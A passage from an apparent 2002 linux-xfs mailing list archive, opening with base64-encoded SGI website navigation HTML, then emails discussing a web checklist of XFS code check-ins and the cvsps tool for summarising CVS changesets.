PSJtZW51Ij48QlIgQ0xBU1M9Im1lbnUiPjwvQT4KPC9ESVY+Cgo8RElWIElEPSJtZW51MSI+ PEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL3NvbHV0aW9ucy8iIG9ubW91c2VvdXQ9ImNs ZWFybWVudXMoKSI+PElNRyBTUkM9Ii9pbWFnZXMvbmF2L2Ryb3Bfc29sLmdpZiIgV0lEVEg9 IjExMCIgSEVJR0hUPSI1OCIgQk9SREVSPSIwIiBBTFQ9IlNvbHV0aW9ucyBNZW51Ij48L0E+ PC9ESVY+CjxESVYgSUQ9Im1lbnUxb3ZlcnMiPgo8QSBIUkVGPSJodHRwOi8vd3d3LnNnaS5j b20vbWFudWZhY3R1cmluZy8iCglPTk1PVVNFT1ZFUj0iaW1hZ2VyZXAoJ21hbicsICdtZW51 MW92ZXJzJykiCglPTk1PVVNFT1VUPSJlcmFzZWltYWdlKCdtYW4nLCAnbWVudTFvdmVycycp IgoJQ0xBU1M9Im1lbnUiPjxJTUcKCQlTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lm IgoJCUFMVD0iTWFudWZhY3R1cmluZyIKCQlCT1JERVI9IjAiIEhFSUdIVD0iMTUiIEhTUEFD RT0iMCIgTkFNRT0ibWFuIiBWU1BBQ0U9IjAiIFdJRFRIPSIxMTAiIENMQVNTPSJtZW51Ij48 QlIgQ0xBU1M9Im1lbnUiPjwvQT4KPEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL3NvbHV0 aW9ucy9zY2llbmNlcy8iCglPTk1PVVNFT1ZFUj0iaW1hZ2VyZXAoJ3NjaWVuY2UnLCAnbWVu dTFvdmVycycpIgoJT05NT1VTRU9VVD0iZXJhc2VpbWFnZSgnc2NpZW5jZScsICdtZW51MW92 ZXJzJykiCglDTEFTUz0ibWVudSI+PElNRwoJCVNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVh ci5naWYiCgkJQUxUPSJTY2llbmNlcyIKCQlCT1JERVI9IjAiIEhFSUdIVD0iMTUiIEhTUEFD RT0iMCIgTkFNRT0ic2NpZW5jZSIgVlNQQUNFPSIwIiBXSURUSD0iMTEwIiBDTEFTUz0ibWVu dSI+PEJSIENMQVNTPSJtZW51Ij48L0E+CjwhLS1BIEhSRUY9Imh0dHA6Ly93d3cuc2dpLmNv bS9zb2x1dGlvbnMvIgoJT05NT1VTRU9WRVI9ImltYWdlcmVwKCdkZWZlbnNlJywgJ21lbnUx b3ZlcnMnKSIKCU9OTU9VU0VPVVQ9ImVyYXNlaW1hZ2UoJ2RlZmVuc2UnLCAnbWVudTFvdmVy cycpIgoJQ0xBU1M9Im1lbnUiPjxJTUcKCQlTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIu Z2lmIgoJCUFMVD0iSW50ZWxsaWdlbmNlL0RlZmVuc2UiCgkJQk9SREVSPSIwIiBIRUlHSFQ9 IjE1IiBIU1BBQ0U9IjAiIE5BTUU9ImRlZmVuc2UiIFZTUEFDRT0iMCIgV0lEVEg9IjExMCIg Q0xBU1M9Im1lbnUiPjxCUiBDTEFTUz0ibWVudSI+PC9BIC0tPgo8QSBIUkVGPSJodHRwOi8v d3d3LnNnaS5jb20vc29sdXRpb25zL2Jyb2FkYmFuZC8iCglPTk1PVVNFT1ZFUj0iaW1hZ2Vy ZXAoJ3RlbGNvJywgJ21lbnUxb3ZlcnMnKSIKCU9OTU9VU0VPVVQ9ImVyYXNlaW1hZ2UoJ3Rl bGNvJywgJ21lbnUxb3ZlcnMnKSIKCUNMQVNTPSJtZW51Ij48SU1HCgkJU1JDPSIvaW1hZ2Vz L2RvdHMvZG90X2NsZWFyLmdpZiIKCQlBTFQ9IlRlbGVjb21tdW5pY2F0aW9ucyBhbmQgTWVk aWEiCgkJQk9SREVSPSIwIiBIRUlHSFQ9IjI2IiBIU1BBQ0U9IjAiIE5BTUU9InRlbGNvIiBW U1BBQ0U9IjAiIFdJRFRIPSIxMTAiIENMQVNTPSJtZW51Ij48QlIgQ0xBU1M9Im1lbnUiPjwv QT4KPC9ESVY+Cgo8RElWIElEPSJtZW51MiI+PElNRyBTUkM9Ii9pbWFnZXMvbmF2L2Ryb3Bf ZGV2LmdpZiIgQk9SREVSPSIwIiBXSURUSD0iMTE5IiBIRUlHSFQ9Ijk1IiBIU1BBQ0U9IjAi IFZTUEFDRT0iMCIgQUxUPSJEZXZlbG9wZXJzIE1lbnUiPjwvRElWPgo8RElWIElEPSJtZW51 Mm92ZXJzIj4KPEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL2RldmVsb3BlcnMvZGV2dG9v bHMvIgoJT05NT1VTRU9WRVI9ImltYWdlcmVwKCd0b29scycsJ21lbnUyb3ZlcnMnKSIKCU9O TU9VU0VPVVQ9ImVyYXNlaW1hZ2UoJ3Rvb2xzJywnbWVudTJvdmVycycpIgoJQ0xBU1M9Im1l bnUiPjxJTUcKCQlTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIgoJCUFMVD0iRGV2 ZWxvcGVyIFRvb2xzIgoJCUJPUkRFUj0iMCIgSEVJR0hUPSIxNSIgSFNQQUNFPSIwIiBOQU1F PSJ0b29scyIgVlNQQUNFPSIwIiBXSURUSD0iMTE5IiBDTEFTUz0ibWVudSI+PEJSIENMQVNT PSJtZW51Ij48L0E+CjxBIEhSRUY9Imh0dHA6Ly93d3cuc2dpLmNvbS9kZXZlbG9wZXJzL3By b2dyYW0vIgoJT05NT1VTRU9WRVI9ImltYWdlcmVwKCdwcm9ncmFtcycsJ21lbnUyb3ZlcnMn KSIKCU9OTU9VU0VPVVQ9ImVyYXNlaW1hZ2UoJ3Byb2dyYW1zJywnbWVudTJvdmVycycpIgoJ Q0xBU1M9Im1lbnUiPjxJTUcKCQlTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIgoJ CUFMVD0iRGV2ZWxvcGVyIFByb2dyYW1zIgoJCUJPUkRFUj0iMCIgSEVJR0hUPSIxNSIgSFNQ QUNFPSIwIiBOQU1FPSJwcm9ncmFtcyIgVlNQQUNFPSIwIiBXSURUSD0iMTE5IiBDTEFTUz0i bWVudSI+PEJSIENMQVNTPSJtZW51Ij48L0E+CjxBIEhSRUY9Imh0dHA6Ly93d3cuc2dpLmNv bS9kZXZlbG9wZXJzL2xpYnJhcnkvIgoJT05NT1VTRU9WRVI9ImltYWdlcmVwKCdsaWJyYXJ5 JywnbWVudTJvdmVycycpIgoJT05NT1VTRU9VVD0iZXJhc2VpbWFnZSgnbGlicmFyeScsJ21l bnUyb3ZlcnMnKSIKCUNMQVNTPSJtZW51Ij48SU1HCgkJU1JDPSIvaW1hZ2VzL2RvdHMvZG90 X2NsZWFyLmdpZiIKCQlBTFQ9IkRldmVsb3BlciBMaWJyYXJ5IgoJCUJPUkRFUj0iMCIgSEVJ R0hUPSIxNSIgSFNQQUNFPSIwIiBOQU1FPSJsaWJyYXJ5IiBWU1BBQ0U9IjAiIFdJRFRIPSIx MTkiIENMQVNTPSJtZW51Ij48QlIgQ0xBU1M9Im1lbnUiPjwvQT4KPEEgSFJFRj0iaHR0cDov L3d3dy5zZ2kuY29tL2RldmVsb3BlcnMvbWFya2V0aW5nLyIKCU9OTU9VU0VPVkVSPSJpbWFn ZXJlcCgncmVzb3VyY2VzJywnbWVudTJvdmVycycpIgoJT05NT1VTRU9VVD0iZXJhc2VpbWFn ZSgncmVzb3VyY2VzJywnbWVudTJvdmVycycpIgoJQ0xBU1M9Im1lbnUiPjxJTUcKCQlTUkM9 Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIgoJCUFMVD0iRGV2ZWxvcGVyIFJlc291cmNl cyIKCQlCT1JERVI9IjAiIEhFSUdIVD0iMTUiIEhTUEFDRT0iMCIgTkFNRT0icmVzb3VyY2Vz IiBWU1BBQ0U9IjAiIFdJRFRIPSIxMTkiIENMQVNTPSJtZW51Ij48QlIgQ0xBU1M9Im1lbnUi PjwvQT4KPEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL2RldmVsb3BlcnMvdGVjaG5vbG9n eS8iCglPTk1PVVNFT1ZFUj0iaW1hZ2VyZXAoJ29wc3lzJywnbWVudTJvdmVycycpIgoJT05N T1VTRU9VVD0iZXJhc2VpbWFnZSgnb3BzeXMnLCdtZW51Mm92ZXJzJykiCglDTEFTUz0ibWVu dSI+PElNRwoJCVNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVhci5naWYiCgkJQUxUPSJEZXZl bG9wZXIgVGVjaG5vbG9neSIKCQlCT1JERVI9IjAiIEhFSUdIVD0iMTUiIEhTUEFDRT0iMCIg TkFNRT0ib3BzeXMiIFZTUEFDRT0iMCIgV0lEVEg9IjExOSIgQ0xBU1M9Im1lbnUiPjxCUiBD TEFTUz0ibWVudSI+PC9BPgo8QSBIUkVGPSJodHRwOi8vd3d3LnNnaS5jb20vZGV2ZWxvcGVy cy9vc3MvIgoJT05NT1VTRU9WRVI9ImltYWdlcmVwKCdvcGVuc291cmNlJywnbWVudTJvdmVy cycpIgoJT05NT1VTRU9VVD0iZXJhc2VpbWFnZSgnb3BlbnNvdXJjZScsJ21lbnUyb3ZlcnMn KSIKCUNMQVNTPSJtZW51Ij48SU1HCgkJU1JDPSIvaW1hZ2VzL2RvdHMvZG90X2NsZWFyLmdp ZiIKCQlBTFQ9Ik9wZW4gU291cmNlIgoJCUJPUkRFUj0iMCIgSEVJR0hUPSIxNSIgV0lEVEg9 IjExOSIgTkFNRT0ib3BlbnNvdXJjZSIgSFNQQUNFPSIwIiBWU1BBQ0U9IjAiIENMQVNTPSJt ZW51Ij48QlIgQ0xBU1M9Im1lbnUiPjwvQT4KPC9ESVY+Cgo8RElWIElEPSJtZW51MyI+PElN RyBTUkM9Ii9pbWFnZXMvbmF2L2Ryb3Bfc3VwcC5naWYiIEJPUkRFUj0iMCIgSEVJR0hUPSI3 OSIgSFNQQUNFPSIwIiBWU1BBQ0U9IjAiIFdJRFRIPSIxNjciIEFMVD0iU2VydmljZXMgYW5k IFN1cHBvcnQgTWVudSI+PC9ESVY+CjxESVYgSUQ9Im1lbnUzb3ZlcnMiPgo8QSBIUkVGPSJo dHRwOi8vd3d3LnNnaS5jb20vc2VydmljZXMvIgoJT05NT1VTRU9WRVI9ImltYWdlcmVwKCdw cm9mJywgJ21lbnUzb3ZlcnMnKTsiCglPTk1PVVNFT1VUPSJlcmFzZWltYWdlKCdwcm9mJywg J21lbnUzb3ZlcnMnKTsiCglDTEFTUz0ibWVudSI+PElNRwoJCVNSQz0iL2ltYWdlcy9kb3Rz L2RvdF9jbGVhci5naWYiCgkJQUxUPSJQcm9mZXNzaW9uYWwgU2VydmljZXMiCgkJQk9SREVS PSIwIiBIRUlHSFQ9IjE1IiBIU1BBQ0U9IjAiIE5BTUU9InByb2YiIFZTUEFDRT0iMCIgV0lE VEg9IjE2NyIgQ0xBU1M9Im1lbnUiPjxCUiBDTEFTUz0ibWVudSI+PC9BPgo8QSBIUkVGPSJo dHRwOi8vd3d3LnNnaS5jb20vc2VydmljZXMvcHJvZHVjdGl2aXR5LyIKCU9OTU9VU0VPVkVS PSJpbWFnZXJlcCgncHJkdnR5JywgJ21lbnUzb3ZlcnMnKSIKCU9OTU9VU0VPVVQ9ImVyYXNl aW1hZ2UoJ3ByZHZ0eScsICdtZW51M292ZXJzJykiCglDTEFTUz0ibWVudSI+PElNRwoJCVNS Qz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVhci5naWYiCgkJQUxUPSJQcm9kdWN0aXZpdHkgU2Vy dmljZXMiCgkJQk9SREVSPSIwIiBIRUlHSFQ9IjE1IiBIU1BBQ0U9IjAiIE5BTUU9InByZHZ0 eSIgVlNQQUNFPSIwIiBXSURUSD0iMTY3IiBDTEFTUz0ibWVudSI+PEJSIENMQVNTPSJtZW51 Ij48L0E+CjxBIEhSRUY9Imh0dHA6Ly93d3cuc2dpLmNvbS9zdXBwb3J0L2N1c3RvbWVyc2Vy dmljZS5odG1sIgoJT05NT1VTRU9WRVI9ImltYWdlcmVwKCdvcnQnLCAnbWVudTNvdmVycycp OyIKCU9OTU9VU0VPVVQ9ImVyYXNlaW1hZ2UoJ29ydCcsICdtZW51M292ZXJzJyk7IgoJQ0xB U1M9Im1lbnUiPjxJTUcKCQlTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIgoJCUFM VD0iU3VwcG9ydCBTZXJ2aWNlcyIKCQlCT1JERVI9IjAiIEhFSUdIVD0iMTUiIEhTUEFDRT0i MCIgTkFNRT0ib3J0IiBWU1BBQ0U9IjAiIFdJRFRIPSIxNjciIENMQVNTPSJtZW51Ij48QlIg Q0xBU1M9Im1lbnUiPjwvQT4KPEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL3N1cHBvcnQv Y3VzdGVkdWNhdGlvbi8iCglPTk1PVVNFT1ZFUj0iaW1hZ2VyZXAoJ2VkdScsICdtZW51M292 ZXJzJyk7IgoJT05NT1VTRU9VVD0iZXJhc2VpbWFnZSgnZWR1JywgJ21lbnUzb3ZlcnMnKTsi CglDTEFTUz0ibWVudSI+PElNRwoJCVNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVhci5naWYi CgkJQUxUPSJFZHVjYXRpb24gU2VydmljZXMiCgkJQk9SREVSPSIwIiBIRUlHSFQ9IjE1IiBI U1BBQ0U9IjAiIE5BTUU9ImVkdSIgVlNQQUNFPSIwIiBXSURUSD0iMTY3IiBDTEFTUz0ibWVu dSI+PEJSIENMQVNTPSJtZW51Ij48L0E+CjxBIEhSRUY9Imh0dHA6Ly93d3cuc2dpLmNvbS9z dXBwb3J0L29ubGluZS8iCglPTk1PVVNFT1ZFUj0iaW1hZ2VyZXAoJ29ubGluZScsICdtZW51 M292ZXJzJyk7IgoJT05NT1VTRU9VVD0iZXJhc2VpbWFnZSgnb25saW5lJywgJ21lbnUzb3Zl cnMnKTsiCglDTEFTUz0ibWVudSI+PElNRwoJCVNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVh ci5naWYiCgkJQUxUPSJPbmxpbmUgU3VwcG9ydCIKCQlCT1JERVI9IjAiIEhFSUdIVD0iMTUi IEhTUEFDRT0iMCIgTkFNRT0ib25saW5lIiBWU1BBQ0U9IjAiIFdJRFRIPSIxNjciIENMQVNT PSJtZW51Ij48QlIgQ0xBU1M9Im1lbnUiPjwvQT4KPC9ESVY+Cgo8RElWIElEPSJtZW51NCI+ PEEgSFJFRj0iL2Z1bi8iIG9ubW91c2VvdXQ9ImNsZWFybWVudXMoKSI+PElNRyBTUkM9Ii9p bWFnZXMvbmF2L2Ryb3BfZnVuLmdpZiIgV0lEVEg9IjExNiIgSEVJR0hUPSI5NSIgQk9SREVS PSIwIiBBTFQ9IkZ1biBNZW51Ij48L0E+PC9ESVY+CjxESVYgSUQ9Im1lbnU0b3ZlcnMiPgo8 QSBIUkVGPSJodHRwOi8vd3d3LnNnaS5jb20vZnVuL2ZyZWV3YXJlL2dhbWVzLmh0bWwiCglP Tk1PVVNFT1ZFUj0iaW1hZ2VyZXAoJ2dhbWVzJywgJ21lbnU0b3ZlcnMnKTsiCglPTk1PVVNF T1VUPSJlcmFzZWltYWdlKCdnYW1lcycsICdtZW51NG92ZXJzJyk7IgoJQ0xBU1M9Im1lbnUi PjxJTUcKCQlTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIgoJCUFMVD0iR2FtZXMi CgkJQk9SREVSPSIwIiBIRUlHSFQ9IjE1IiBIU1BBQ0U9IjAiIE5BTUU9ImdhbWVzIiBWU1BB Q0U9IjAiIFdJRFRIPSIxMTYiIENMQVNTPSJtZW51Ij48QlIgQ0xBU1M9Im1lbnUiPjwvQT4K PEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL2Z1bi9mcmVld2FyZS93ZWIuaHRtbCIKCU9O TU9VU0VPVkVSPSJpbWFnZXJlcCgnd2ViZGV2JywgJ21lbnU0b3ZlcnMnKTsiCglPTk1PVVNF T1VUPSJlcmFzZWltYWdlKCd3ZWJkZXYnLCAnbWVudTRvdmVycycpOyIKCUNMQVNTPSJtZW51 Ij48SU1HCgkJU1JDPSIvaW1hZ2VzL2RvdHMvZG90X2NsZWFyLmdpZiIKCQlBTFQ9IldlYiBE ZXZlbG9wbWVudCIKCQlCT1JERVI9IjAiIEhFSUdIVD0iMTUiIEhTUEFDRT0iMCIgTkFNRT0i d2ViZGV2IiBWU1BBQ0U9IjAiIFdJRFRIPSIxMTYiIENMQVNTPSJtZW51Ij48QlIgQ0xBU1M9 Im1lbnUiPjwvQT4KPEEgSFJFRj0iaHR0cDovL3d3dy5zZ2kuY29tL2Z1bi9mcmVld2FyZS9z b2Z0d2FyZS5odG1sIgoJT05NT1VTRU9WRVI9ImltYWdlcmVwKCdzb2Z0ZGV2JywgJ21lbnU0 b3ZlcnMnKTsiCglPTk1PVVNFT1VUPSJlcmFzZWltYWdlKCdzb2Z0ZGV2JywgJ21lbnU0b3Zl cnMnKTsiCglDTEFTUz0ibWVudSI+PElNRwoJCVNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVh ci5naWYiCgkJQUxUPSJTb2Z0d2FyZSBEZXZlbG9wbWVudCIKCQlCT1JERVI9IjAiIEhFSUdI VD0iMTUiIEhTUEFDRT0iMCIgTkFNRT0ic29mdGRldiIgVlNQQUNFPSIwIiBXSURUSD0iMTE2 IiBDTEFTUz0ibWVudSI+PEJSIENMQVNTPSJtZW51Ij48L0E+CjxBIEhSRUY9Imh0dHA6Ly93 d3cuc2dpLmNvbS9mdW4vZnJlZXdhcmUvZ3JhcGhpY3MuaHRtbCIKCU9OTU9VU0VPVkVSPSJp bWFnZXJlcCgnZ3JhcGhpY3MnLCAnbWVudTRvdmVycycpOyIKCU9OTU9VU0VPVVQ9ImVyYXNl aW1hZ2UoJ2dyYXBoaWNzJywgJ21lbnU0b3ZlcnMnKTsiCglDTEFTUz0ibWVudSI+PElNRwoJ CVNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVhci5naWYiCgkJQUxUPSJHcmFwaGljcyIKCQlC T1JERVI9IjAiIEhFSUdIVD0iMTUiIEhTUEFDRT0iMCIgTkFNRT0iZ3JhcGhpY3MiIFZTUEFD RT0iMCIgV0lEVEg9IjExNiIgQ0xBU1M9Im1lbnUiPjxCUiBDTEFTUz0ibWVudSI+PC9BPgo8 QSBIUkVGPSJodHRwOi8vd3d3LnNnaS5jb20vZnVuL2ZyZWV3YXJlL3N5c2FkbWluLmh0bWwi CglPTk1PVVNFT1ZFUj0iaW1hZ2VyZXAoJ3N5c2FkbWluJywgJ21lbnU0b3ZlcnMnKTsiCglP Tk1PVVNFT1VUPSJlcmFzZWltYWdlKCdzeXNhZG1pbicsICdtZW51NG92ZXJzJyk7IgoJQ0xB U1M9Im1lbnUiPjxJTUcKCQlTUkM9Ii9pbWFnZXMvZG90cy9kb3RfY2xlYXIuZ2lmIgoJCUFM VD0iU3lzdGVtIEFkbWluaXN0cmF0aW9uIgoJCUJPUkRFUj0iMCIgSEVJR0hUPSIxNSIgSFNQ QUNFPSIwIiBOQU1FPSJzeXNhZG1pbiIgVlNQQUNFPSIwIiBXSURUSD0iMTE2IiBDTEFTUz0i bWVudSI+PEJSIENMQVNTPSJtZW51Ij48L0E+CjxBIEhSRUY9Imh0dHA6Ly9mcmVld2FyZS5z Z2kuY29tLyIKCU9OTU9VU0VPVkVSPSJpbWFnZXJlcCgnZnJlZXdhcmUnLCAnbWVudTRvdmVy cycpOyIKCU9OTU9VU0VPVVQ9ImVyYXNlaW1hZ2UoJ2ZyZWV3YXJlJywgJ21lbnU0b3ZlcnMn KTsiCglDTEFTUz0ibWVudSI+PElNRwoJCVNSQz0iL2ltYWdlcy9kb3RzL2RvdF9jbGVhci5n aWYiCgkJQUxUPSJGcmVld2FyZSIKCQlCT1JERVI9IjAiIEhFSUdIVD0iMTUiIEhTUEFDRT0i MCIgTkFNRT0iZnJlZXdhcmUiIFZTUEFDRT0iMCIgV0lEVEg9IjExNiIgQ0xBU1M9Im1lbnUi PjxCUiBDTEFTUz0ibWVudSI+PC9BPgo8L0RJVj4KCjxESVYgSUQ9Im1lbnU1b3ZlcnMiPgo8 VEFCTEUgQk9SREVSPTAgQkdDT0xPUj0iIzAwNjZDQyIgQ0VMTFBBRERJTkc9MSBDRUxMU1BB Q0lORz0wPjxUUj48VEQ+CjxUQUJMRSBCT1JERVI9IjAiIENFTExQQURESU5HPSIyIiBDRUxM U1BBQ0lORz0iMSIgV0lEVEg9IjE1MCI+CjxUUiBCR0NPTE9SPSIjMDA2NkNDIj4KICAgIDxU RD48Rk9OVCBDT0xPUj0iI0ZGRkZGRiI+PEI+U0dJIFNlYXJjaDwvQj48L0ZPTlQ+PC9URD4K ICAgIDxURCBBTElHTj0icmlnaHQiPjxBIEhSRUY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25D bGljaz0ibWVudW92ZXJzWzVdLnZpc2liaWxpdHk9J2hpZGRlbiciPjxJTUcgU1JDPSIvaW1h Z2VzL2NvbW1vbi9zcmNoX2Nsb3NlX3guZ2lmIiBBTFQ9IlgiIEJPUkRFUj0wPjwvQT48L1RE Pgo8L1RSPgo8VFIgQkdDT0xPUj0iI0NGQ0ZDRiI+CiAgICA8VEQgQ09MU1BBTj0iMiIgQUxJ R049IkNFTlRFUiI+Cgk8Rk9STSBDTEFTUz0id3dzZ2kiIEFDVElPTj0iaHR0cDovL3d3dy5z Z2kuY29tL2NnaS1iaW4vc3VyZnNyY2guY2dpIiBNRVRIT0Q9IkdFVCI+CgkJPElOUFVUIFRZ UEU9IkhJRERFTiIgTkFNRT0iY21kIiBWQUxVRT0ic2VhcmNoIj4KCQk8SU5QVVQgVFlQRT0i SElEREVOIiBOQU1FPSJjb2xsIiBWQUxVRT0iMDY1MCI+CgkJPFNFTEVDVCBOQU1FPSJkYiI+ CgkJICAgIDxPUFRJT04gVkFMVUU9IkFsbCIgU0VMRUNURUQ+QWxsIG9mIFNHSQoJCSAgICA8 T1BUSU9OIFZBTFVFPSJIYXJkd2FyZTtTb2Z0d2FyZSI+UHJvZHVjdHMKCQkgICAgPE9QVElP TiBWQUxVRT0iU29sdXRpb25zIj5Tb2x1dGlvbnMKCQkgICAgPE9QVElPTiBWQUxVRT0iRGV2 ZWxvcGVyIj5EZXZlbG9wZXJzCgkJICAgIDxPUFRJT04gVkFMVUU9IlN1cHBvcnQiPlNlcnZp Y2VzICYgU3VwcG9ydAoJCSAgICA8T1BUSU9OIFZBTFVFPSJGdW4iPkZ1bgoJCTwvU0VMRUNU PgoJCTxCUj4KCQk8SU5QVVQgTkFNRT0ic3JjaCIgU0laRT0iMTUiPgoJCTxCUj48Tk9CUj4K CQk8SU5QVVQgVFlQRT0ic3VibWl0IiBWQUxVRT0iIFNlYXJjaCAiPiZuYnNwOzxJTlBVVCBU WVBFPSJidXR0b24iIFZBTFVFPSIgQ2FuY2VsICIgb25DbGljaz0ibWVudW92ZXJzWzVdLnZp c2liaWxpdHk9J2hpZGRlbiciPgoJCTwvTk9CUj4KCTwvRk9STT4KCTwvVEQ+CjwvVFI+Cjwv VEFCTEU+CjwvVEQ+PC9UUj48L1RBQkxFPgo8L0RJVj4KPERJViBJRD0ibWVudTUiPjwvRElW PgoKPE5PU0NSSVBUPjwvVEQ+PC9UUj48L05PU0NSSVBUPgo8L0JPRFk+CgoKPC9IVE1MPgoK CgoK --Q8714e2L66enF661u68kOrxZ6-- From owner-linux-xfs@oss.sgi.com Wed Aug 28 04:18:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 04:18:16 -0700 (PDT) Received: from smtpzilla1.xs4all.nl (smtpzilla1.xs4all.nl [194.109.127.137]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SBIBtG001670 for ; Wed, 28 Aug 2002 04:18:12 -0700 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla1.xs4all.nl (8.12.0/8.12.0) with ESMTP id g7SBLcJa077036; Wed, 28 Aug 2002 13:21:39 +0200 (CEST) Message-Id: <4.3.2.7.2.20020828131733.033cbbe0@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 28 Aug 2002 13:20:25 +0200 To: James Rich , Christoph Hellwig From: Seth Mos Subject: Re: Hacking XFS (was Re: reserve space for root?) Cc: Steve Lord , In-Reply-To: References: <20020823211050.A27629@infradead.org> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 107 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 16:47 27-8-2002 -0600, James Rich wrote: >I've put together a very quick example of what I plan to do at: > >http://www.chowhouse.com/~james/xfs/checklist.html > >it covers the two checkins today (oops - Steve just checked in a third). >Tell me if you think this is a good thing or a waste of time. Looks good today, want me to add a link to the FAQ? Maybe we can put this on oss.sgi.com if Eric/Steve agree. I'll put it there if that makes them feel better :) Would making a historical log be a good idea from the past period? I just thought of a evil automatic take message log maker but it needs some more pondering. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Aug 28 04:19:09 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 04:19:11 -0700 (PDT) Received: from smtpzilla5.xs4all.nl (smtpzilla5.xs4all.nl [194.109.127.141]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SBJ8tG001880 for ; Wed, 28 Aug 2002 04:19:09 -0700 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla5.xs4all.nl (8.12.0/8.12.0) with ESMTP id g7SBMZbS044264; Wed, 28 Aug 2002 13:22:36 +0200 (CEST) Message-Id: <4.3.2.7.2.20020828132045.03431cb8@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 28 Aug 2002 13:21:23 +0200 To: Alexander Kabaev , James Rich From: Seth Mos Subject: Re: Hacking XFS (was Re: reserve space for root?) Cc: hch@infradead.org, lord@sgi.com, linux-xfs@oss.sgi.com In-Reply-To: <20020827185537.68c2a006.ak03@gte.com> References: <20020823211050.A27629@infradead.org> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 108 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 18:55 27-8-2002 -0400, Alexander Kabaev wrote: >Hi, > > > I've put together a very quick example of what I plan to do at: > > > > http://www.chowhouse.com/~james/xfs/checklist.html > >Pretty cool. If only it also listed all affected files.... A link to the CVS is what you are looking for. Or the TAKE message in the list archive. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Aug 28 04:50:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 04:50:40 -0700 (PDT) Received: from sisko.scot.redhat.com (pc-80-195-6-65-ed.blueyonder.co.uk [80.195.6.65]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SBoYtG003149 for ; Wed, 28 Aug 2002 04:50:35 -0700 Received: (from sct@localhost) by sisko.scot.redhat.com (8.11.6/8.11.2) id g7SBrjt03921; Wed, 28 Aug 2002 12:53:45 +0100 Date: Wed, 28 Aug 2002 12:53:45 +0100 From: "Stephen C. Tweedie" To: Alexander Kabaev Cc: James Rich , hch@infradead.org, lord@sgi.com, linux-xfs@oss.sgi.com Subject: Re: Hacking XFS (was Re: reserve space for root?) Message-ID: <20020828125345.G2165@redhat.com> References: <20020823211050.A27629@infradead.org> <20020827185537.68c2a006.ak03@gte.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020827185537.68c2a006.ak03@gte.com>; from ak03@gte.com on Tue, Aug 27, 2002 at 06:55:37PM -0400 Content-Transfer-Encoding: 8bit X-archive-position: 109 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sct@redhat.com Precedence: bulk X-list: linux-xfs Hi, On Tue, Aug 27, 2002 at 06:55:37PM -0400, Alexander Kabaev wrote: > > I've put together a very quick example of what I plan to do at: > > > > http://www.chowhouse.com/~james/xfs/checklist.html > > Pretty cool. If only it also listed all affected files.... Have you seen "cvsps"? It gives changeset summaries of a CVS repository along the lines of: --------------------- PatchSet 8801 Date: 2002/08/27 15:56:45 Author: lord Log: remove extra generation number checks Members: linux/fs/xfs/xfs_rename.c:1.37->1.38 linux/fs/xfs/xfs_utils.c:1.49->1.50 linux/fs/xfs/xfs_utils.h:1.22->1.23 linux/fs/xfs/xfs_vnodeops.c:1.555->1.556 --------------------- It can track branches properly, too. --Stephen From owner-linux-xfs@oss.sgi.com Wed Aug 28 09:42:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 09:42:50 -0700 (PDT) Received: from balance.radtt.lanl.gov (splat.lanl.gov [128.165.17.254]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id 